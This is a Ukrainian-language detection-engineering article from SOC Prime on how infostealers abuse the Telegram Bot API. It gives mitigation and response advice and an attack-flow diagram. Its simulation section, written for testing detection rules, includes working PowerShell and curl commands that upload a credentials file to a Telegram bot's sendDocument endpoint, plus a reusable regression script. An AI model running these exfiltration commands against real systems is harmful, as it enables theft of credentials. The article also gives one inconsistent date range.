SOC Prime Bias: Середній

17 Dec 2025 17:33

Хроніки виявлення та реагування: дослідження зловживання Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Хроніки виявлення та реагування: дослідження зловживання Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Стаття пояснює, як кілька зловмисників використовують Bot API і канали Telegram в корпоративному середовищі для командування та управління, ексфільтрації даних і моніторингу жертв. Сімейства шкідливих програм, включаючи DeerStealer, Lumma Stealer, Raven Stealer і троянізований збирач XWorm, жорстко кодують токени ботів або IDs каналів і звертаються до кінцевих точок, таких як /sendMessage і /sendDocument. Це включає запити для виявлення Microsoft Defender і Sentinel, зосереджені на підозрілих рядках команд процесу і трафіку до api.telegram.org. Основний напрямок – створити базове використання Telegram і блокувати API там, де він не потрібен.

Дослідження

SOC NVISO повідомили про чотири спроби вторгнення в період з жовтня 2025 року по березень 2025 року, коли Telegram використовувався на різних етапах життєвого циклу атаки. У статті висвітлюються такі кампанії, як спостереження Lunar Spider за жертвами через підроблені CAPTCHA-приманки, DeerStealer, що надсилає повідомлення операторам через curl, Lumma Stealer, що отримує деталі C2 з каналів Telegram, Raven Stealer, що ексфільтрує архівовані колекції, і зборщик XWorm, що покладається на Bot API як для ексфільтрації, так і для C2. Аналітики вивели індикатори, включаючи командні рядки процесів, цільові мережні адреси та відповідні імена файлів.

Мітигація

Встановіть базове використання Telegram, а потім блокуйте вихідний доступ до api.telegram.org в середовищах, де це не потрібно. Стежте за незвичними процесами (наприклад, curl, powershell, wscript), що ініціюють з’єднання з API, та досліджуйте будь-які сценарії взаємодії з Bot API. Налаштуйте виявлення, щоб придушити очікувану поведінку, таку як запуск telegram.exe, і пріоритизуйте довготривалі або вебхук-запити, що походять від підозрілих бінарних файлів або несподіваних хостів.

Відповідь

Коли діяльність виявлено, ізолюйте постраждалий кінцевий пункт, зупиніть підозрілі процеси та збережіть аргументи командного рядка разом з телеметрією DNS, проксі та мережі. Проведіть поглиблену судову експертизу, щоб ідентифікувати подальші корисні навантаження, пов’язані з кампаніями, такими як DeerStealer або Raven Stealer. Замініть будь-які скомпрометовані токени ботів, вимкніть або анулюйте зловжиті канали Telegram та стримуйте поширення, блокуючи пов’язані індикатори. Якщо зловживання підтверджено, підніміть звітність через офіційні канали Telegram та задокументуйте інцидент, щоб запобігти повторному виникненню.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodes – Techniques attack_user_execution[“<b>Техніка</b> – <b>T1204 Виконання користувача</b>: Жертви обманом змушуються запускати шкідливу виконувану програму, упаковану в підроблене оновлення Google Chrome.”] class attack_user_execution technique attack_software_extensions[“<b>Техніка</b> – <b>T1176 Розширення ПЗ</b>: Скомпрометований плагін WordPress вставляє шкідливі iframe для доставки підробленого оновлення.”] class attack_software_extensions technique action_archive_data[“<b>Техніка</b> – <b>T1560.001 Архів через утиліту</b>: PowerShell архівує зібрані файли у ZIP-архів.”] class action_archive_data technique tech_compression[“<b>Техніка</b> – <b>T1027.015 Стиснення</b>: ZIP-архів стискає дані для зменшення розміру для ексфільтрації.”] class tech_compression technique process_powershell[“<b>Процес</b> – <b>T1059.001 PowerShell</b>: Виконує архівування, а потім викликає curl для передачі.”] class process_powershell process action_curl[“<b>Дія</b> – Curl: PowerShell викликає curl, щоб відправити архів на сервер C2.”] class action_curl tool tech_dead_drop[“<b>Техніка</b> – <b>T1102.001 Dead Drop Resolver</b>: Шкідливе ПЗ взаємодіє з кінцевими точками Bot API Telegram.”] class tech_dead_drop technique tech_messaging_exfil[“<b>Техніка</b> – <b>T1213.005 Додатки для обміну повідомленнями</b>: Інформація про систему й облікові дані ексфільтруються через чати/боти Telegram.”] class tech_messaging_exfil technique tech_unsecured_creds[“<b>Техніка</b> – <b>T1552.008 Незахищені облікові дані</b>: Токени Discord і збережені паролі відправляються як повідомлення в чатах.”] class tech_unsecured_creds technique tech_data_obfusc[“<b>Техніка</б> – <b>T1001 Обфускація даних</з>: Імена каналів Telegram шифруються за допомогою ROT13/ROT15.”] class tech_data_obfusc technique tech_dynamic_resolution[“<b>Техніка</b> – T1568 Динамічне вирішення</б>: Шкідливе ПЗ декодує зашифрований ідентифікатор під час виконання.”] class tech_dynamic_resolution technique tech_exfil_c2[“<b>Техніка</b> – T1041 Ексфільтрація через C2-канал</б>: Стислий архів і вкрадені дані надсилаються через канал Telegram.”] class tech_exfil_c2 technique %% Nodes – Tools / Malware tool_fake_update[“Шкідливе ПО</б> – Підроблене оновлення Chrome: Шкідлива виконувана програма, доставлена жертвам.”] class tool_fake_update malware tool_wordpress_plugin[“Інструмент</б> – Плагін WordPress <i>header-fix-tester</i>: Вставляє шкідливі iframe.”] class tool_wordpress_plugin tool %% Operator nodes (optional) op_and1((“І “)) class op_and1 operator %% Connections – Attack Flow attack_user_execution u002du002d>|доставляє| tool_fake_update attack_software_extensions u002du002d>|вставляє iframe для доставки| tool_fake_update tool_fake_update u002du002d>|виконується через| process_powershell process_powershell u002du002d>|створює| action_archive_data action_archive_data u002du002d>|застосовує| tech_compression tech_compression u002du002d>|створює архів для| action_curl action_curl u002du002d>|відправляє дані на| tech_dead_drop tech_dead_drop u002du002d>|дозволяє| tech_messaging_exfil tech_messaging_exfil u002du002d>|переносить| tech_unsecured_creds tech_unsecured_creds u002du002d>|використовує| tech_data_obfusc tech_data_obfusc u002du002d>|підтримує| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|полегшує| tech_exfil_c2 tech_exfil_c2 u002du002d>|ексфільтрує дані через| tech_dead_drop %% Призначення класів class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator

Потік Атаки

Виконання симуляції

Попередньо необхідна перевірка телеметрії та базового стану повинна пройти.

Підстава: цей розділ описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди і наратив МАЮТЬ точно відобразити відзначені TTP і мають на меті створити саме ту телеметрію, яку очікує виявлення логіки.

  • Опис атаки та команди:
    Зловмисник з скомпрометованим хостом Windows бажає ексфільтрувати зібраний файл з обліковими даними (creds.txt) до боту Telegram, яким він керують. Щоб уникнути зберігання користувацької програми, вони використовують вбудований curl.exe (встановлений як додаткова функція Windows 10) для POST файлу на https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Команда виконується з PowerShell, щоб забезпечити запис події створення процесу з командним рядком, що містить “api.telegram.org”. Оскільки процес curl.exe, фільтр правила (InitiatingProcessFileName: "telegram.exe") не придушує сповіщення.

    # Змінні (замініть на значення, що контролюються зловмисником)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Переконайтеся, що файл існує (сімулюваний дамп облікових даних)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Виконати ексфільтрацію через Bot API Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Сценарій регресійного тесту: Нижче наведений сценарій відтворює точні кроки, придатні для автоматизованих запусків BAS.

    #--------------------------------------------
    # Регресійний тест – ексфільтрація через API Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Створити тимчасовий робочий простір
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Симульований файл з обліковими даними
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Збір API URL
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Виклик ексфільтрації
    Write-Host "[*] Відправка $CredFile до Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Проста індикація успіху (не перевіряє доставку)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Команда ексфільтрації виконана."
    } else {
        Write-Error "[-] Ексфільтрація не вдалася."
    }
  • Команди очищення: Видаліть тимчасовий файл і директорію; за бажанням завершіть будь-які залишкові curl.exe процеси.

    # Очищення тимчасових артефактів
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Очистка завершена."